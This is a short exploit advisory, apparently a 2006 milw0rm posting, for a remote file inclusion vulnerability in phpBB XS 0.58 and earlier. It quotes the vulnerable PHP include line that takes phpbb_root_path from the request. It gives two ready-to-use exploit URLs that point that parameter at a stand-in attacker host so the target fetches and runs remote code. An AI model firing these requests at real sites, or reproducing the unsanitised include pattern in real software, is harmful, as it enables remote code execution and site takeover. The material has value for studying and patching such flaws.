phpBB XS versions 0.58 and prior suffer from a remote file inclusion vulnerability.
cb6536e203f267f9d431732e0e902a8fb8e5df190b646e0ca52384ae52ae053d
###########################################################
#phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)
############################################################
#Author: XORON - SHiKaA
############################################################
#URL: http://www.comscripts.com/jump.php?action=script&id=1082
############################################################
#Class: Remote
############################################################
#Code: include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx);
############################################################
#Exploit:
http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=http://evil_scripts?
http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://evil_scripts?
############################################################
#Greetz: str0ke and AzzCoder ;)
############################################################
# milw0rm.com [2006-09-28]